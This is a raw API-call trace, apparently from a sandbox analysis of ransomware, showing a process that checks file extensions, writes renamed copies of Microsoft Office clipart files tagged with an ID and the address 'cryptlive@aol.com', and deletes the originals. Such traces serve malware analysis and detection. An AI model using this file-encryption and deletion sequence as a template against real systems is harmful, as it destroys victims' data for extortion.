lstrlenW (lpString=".jpg") returned 4 [0148.805] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0148.805] lstrcmpiW (lpString1=".JPG", lpString2=".LIVE") returned -1 [0148.805] lstrlenW (lpString="J0099166.JPG") returned 12 [0148.805] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099166.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099166.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0148.807] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=64767) returned 1 [0148.807] CloseHandle (hObject=0x39c) returned 1 [0148.807] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099166.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099166.jpg")) returned 0x20 [0148.847] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099166.JPG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099166.jpg.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0148.847] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099166.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099166.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0148.847] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0148.847] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0148.847] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099166.JPG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099166.jpg.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0148.848] GetLastError () returned 0x0 [0148.848] ReadFile (in: hFile=0x3a8, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0xfcff, lpOverlapped=0x0) returned 1 [0148.860] WriteFile (in: hFile=0x3b0, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0xfd00, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xfd00, lpOverlapped=0x0) returned 1 [0148.861] ReadFile (in: hFile=0x3a8, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1 [0148.862] WriteFile (in: hFile=0x3b0, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xec, lpOverlapped=0x0) returned 1 [0148.862] SetEndOfFile (hFile=0x3b0) returned 1 [0149.312] CloseHandle (hObject=0x3b0) returned 1 [0149.312] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0149.312] SetEndOfFile (hFile=0x3a8) returned 1 [0149.315] CloseHandle (hObject=0x3a8) returned 1 [0149.315] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099166.JPG.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0149.316] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099166.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099166.jpg")) returned 1 [0149.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099166.JPG") returned 63 [0149.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099166.JPG") returned 63 [0149.316] lstrlenW (lpString=".doc") returned 4 [0149.316] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0149.316] lstrlenW (lpString=".docx") returned 5 [0149.316] lstrcmpiW (lpString1=".docx", lpString2="6.JPG") returned -1 [0149.316] lstrlenW (lpString=".pdf") returned 4 [0149.316] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0149.316] lstrlenW (lpString=".xls") returned 4 [0149.316] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0149.316] lstrlenW (lpString=".xlsx") returned 5 [0149.316] lstrcmpiW (lpString1=".xlsx", lpString2="6.JPG") returned -1 [0149.316] lstrlenW (lpString=".ppt") returned 4 [0149.316] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0149.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099166.JPG") returned 63 [0149.317] lstrlenW (lpString=".zip") returned 4 [0149.317] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0149.317] lstrlenW (lpString=".rar") returned 4 [0149.317] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0149.317] lstrlenW (lpString=".bz2") returned 4 [0149.317] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0149.317] lstrlenW (lpString=".7z") returned 3 [0149.317] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0149.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099166.JPG") returned 63 [0149.317] lstrlenW (lpString=".dbf") returned 4 [0149.317] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0149.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099166.JPG") returned 63 [0149.317] lstrlenW (lpString=".1cd") returned 4 [0149.317] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0149.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099166.JPG") returned 63 [0149.317] lstrlenW (lpString=".jpg") returned 4 [0149.317] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0149.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099166.JPG") returned 63 [0149.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099166.JPG") returned 63 [0149.317] lstrlenW (lpString=".doc") returned 4 [0149.317] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0149.317] lstrlenW (lpString=".docx") returned 5 [0149.317] lstrcmpiW (lpString1=".docx", lpString2="6.JPG") returned -1 [0149.317] lstrlenW (lpString=".pdf") returned 4 [0149.317] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0149.317] lstrlenW (lpString=".xls") returned 4 [0149.317] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0149.317] lstrlenW (lpString=".xlsx") returned 5 [0149.317] lstrcmpiW (lpString1=".xlsx", lpString2="6.JPG") returned -1 [0149.317] lstrlenW (lpString=".ppt") returned 4 [0149.317] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0149.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099166.JPG") returned 63 [0149.317] lstrlenW (lpString=".zip") returned 4 [0149.317] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0149.317] lstrlenW (lpString=".rar") returned 4 [0149.317] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0149.318] lstrlenW (lpString=".bz2") returned 4 [0149.318] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0149.318] lstrlenW (lpString=".7z") returned 3 [0149.318] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0149.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099166.JPG") returned 63 [0149.318] lstrlenW (lpString=".dbf") returned 4 [0149.318] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0149.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099166.JPG") returned 63 [0149.318] lstrlenW (lpString=".1cd") returned 4 [0149.318] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0149.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099166.JPG") returned 63 [0149.318] lstrlenW (lpString=".jpg") returned 4 [0149.318] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0149.318] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0149.318] lstrlenW (lpString="J0099177.WMF") returned 12 [0149.318] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099177.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099177.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0149.319] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=5386) returned 1 [0149.319] CloseHandle (hObject=0x3a8) returned 1 [0149.319] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099177.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099177.wmf")) returned 0x20 [0149.319] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099177.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099177.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0149.319] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099177.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099177.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0149.319] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0149.319] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0149.319] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099177.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099177.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0149.320] GetLastError () returned 0x0 [0149.320] ReadFile (in: hFile=0x3a8, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x150a, lpOverlapped=0x0) returned 1 [0149.322] WriteFile (in: hFile=0x3b0, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0x1510, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x1510, lpOverlapped=0x0) returned 1 [0149.323] ReadFile (in: hFile=0x3a8, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1 [0149.323] WriteFile (in: hFile=0x3b0, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xec, lpOverlapped=0x0) returned 1 [0149.323] SetEndOfFile (hFile=0x3b0) returned 1 [0149.323] CloseHandle (hObject=0x3b0) returned 1 [0149.323] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0149.323] SetEndOfFile (hFile=0x3a8) returned 1 [0149.325] CloseHandle (hObject=0x3a8) returned 1 [0149.325] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099177.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0149.325] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099177.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099177.wmf")) returned 1 [0149.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099177.WMF") returned 63 [0149.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099177.WMF") returned 63 [0149.326] lstrlenW (lpString=".doc") returned 4 [0149.326] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0149.326] lstrlenW (lpString=".docx") returned 5 [0149.326] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0149.326] lstrlenW (lpString=".pdf") returned 4 [0149.326] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0149.326] lstrlenW (lpString=".xls") returned 4 [0149.326] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0149.326] lstrlenW (lpString=".xlsx") returned 5 [0149.326] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0149.326] lstrlenW (lpString=".ppt") returned 4 [0149.326] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0149.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099177.WMF") returned 63 [0149.326] lstrlenW (lpString=".zip") returned 4 [0149.326] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0149.326] lstrlenW (lpString=".rar") returned 4 [0149.326] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0149.326] lstrlenW (lpString=".bz2") returned 4 [0149.326] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0149.326] lstrlenW (lpString=".7z") returned 3 [0149.326] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0149.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099177.WMF") returned 63 [0149.326] lstrlenW (lpString=".dbf") returned 4 [0149.326] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0149.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099177.WMF") returned 63 [0149.327] lstrlenW (lpString=".1cd") returned 4 [0149.327] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0149.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099177.WMF") returned 63 [0149.327] lstrlenW (lpString=".jpg") returned 4 [0149.327] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0149.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099177.WMF") returned 63 [0149.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099177.WMF") returned 63 [0149.327] lstrlenW (lpString=".doc") returned 4 [0149.327] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0149.327] lstrlenW (lpString=".docx") returned 5 [0149.327] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0149.327] lstrlenW (lpString=".pdf") returned 4 [0149.327] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0149.327] lstrlenW (lpString=".xls") returned 4 [0149.327] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0149.327] lstrlenW (lpString=".xlsx") returned 5 [0149.327] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0149.327] lstrlenW (lpString=".ppt") returned 4 [0149.327] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0149.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099177.WMF") returned 63 [0149.327] lstrlenW (lpString=".zip") returned 4 [0149.327] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0149.327] lstrlenW (lpString=".rar") returned 4 [0149.327] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0149.327] lstrlenW (lpString=".bz2") returned 4 [0149.327] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0149.327] lstrlenW (lpString=".7z") returned 3 [0149.327] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0149.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099177.WMF") returned 63 [0149.327] lstrlenW (lpString=".dbf") returned 4 [0149.327] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0149.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099177.WMF") returned 63 [0149.327] lstrlenW (lpString=".1cd") returned 4 [0149.327] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0149.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099177.WMF") returned 63 [0149.328] lstrlenW (lpString=".jpg") returned 4 [0149.328] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0149.328] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0149.328] lstrlenW (lpString="J0099178.WMF") returned 12 [0149.328] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099178.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099178.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0149.329] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=3606) returned 1 [0149.329] CloseHandle (hObject=0x3a8) returned 1 [0149.329] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099178.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099178.wmf")) returned 0x20 [0149.329] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099178.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099178.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0149.329] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099178.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099178.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0149.329] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0149.329] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0149.329] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099178.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099178.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0149.330] GetLastError () returned 0x0 [0149.330] ReadFile (in: hFile=0x3a8, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0xe16, lpOverlapped=0x0) returned 1 [0149.332] WriteFile (in: hFile=0x3b0, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0xe20, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xe20, lpOverlapped=0x0) returned 1 [0149.332] ReadFile (in: hFile=0x3a8, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1 [0149.332] WriteFile (in: hFile=0x3b0, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xec, lpOverlapped=0x0) returned 1 [0149.333] SetEndOfFile (hFile=0x3b0) returned 1 [0149.333] CloseHandle (hObject=0x3b0) returned 1 [0149.333] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0149.333] SetEndOfFile (hFile=0x3a8) returned 1 [0149.335] CloseHandle (hObject=0x3a8) returned 1 [0149.335] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099178.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0149.335] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099178.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099178.wmf")) returned 1 [0149.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099178.WMF") returned 63 [0149.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099178.WMF") returned 63 [0149.336] lstrlenW (lpString=".doc") returned 4 [0149.336] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0149.336] lstrlenW (lpString=".docx") returned 5 [0149.336] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0149.336] lstrlenW (lpString=".pdf") returned 4 [0149.336] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0149.336] lstrlenW (lpString=".xls") returned 4 [0149.336] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0149.336] lstrlenW (lpString=".xlsx") returned 5 [0149.336] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0149.336] lstrlenW (lpString=".ppt") returned 4 [0149.336] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0149.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099178.WMF") returned 63 [0149.336] lstrlenW (lpString=".zip") returned 4 [0149.336] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0149.336] lstrlenW (lpString=".rar") returned 4 [0149.336] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0149.336] lstrlenW (lpString=".bz2") returned 4 [0149.336] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0149.336] lstrlenW (lpString=".7z") returned 3 [0149.336] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0149.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099178.WMF") returned 63 [0149.337] lstrlenW (lpString=".dbf") returned 4 [0149.337] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0149.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099178.WMF") returned 63 [0149.337] lstrlenW (lpString=".1cd") returned 4 [0149.337] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0149.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099178.WMF") returned 63 [0149.337] lstrlenW (lpString=".jpg") returned 4 [0149.337] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0149.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099178.WMF") returned 63 [0149.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099178.WMF") returned 63 [0149.337] lstrlenW (lpString=".doc") returned 4 [0149.337] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0149.337] lstrlenW (lpString=".docx") returned 5 [0149.337] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0149.337] lstrlenW (lpString=".pdf") returned 4 [0149.337] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0149.337] lstrlenW (lpString=".xls") returned 4 [0149.337] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0149.337] lstrlenW (lpString=".xlsx") returned 5 [0149.337] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0149.337] lstrlenW (lpString=".ppt") returned 4 [0149.337] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0149.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099178.WMF") returned 63 [0149.337] lstrlenW (lpString=".zip") returned 4 [0149.337] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0149.337] lstrlenW (lpString=".rar") returned 4 [0149.337] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0149.337] lstrlenW (lpString=".bz2") returned 4 [0149.337] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0149.337] lstrlenW (lpString=".7z") returned 3 [0149.337] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0149.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099178.WMF") returned 63 [0149.337] lstrlenW (lpString=".dbf") returned 4 [0149.337] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0149.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099178.WMF") returned 63 [0149.338] lstrlenW (lpString=".1cd") returned 4 [0149.338] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0149.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099178.WMF") returned 63 [0149.338] lstrlenW (lpString=".jpg") returned 4 [0149.338] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0149.338] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0149.338] lstrlenW (lpString="J0099179.WMF") returned 12 [0149.338] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099179.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099179.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0149.338] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=9154) returned 1 [0149.338] 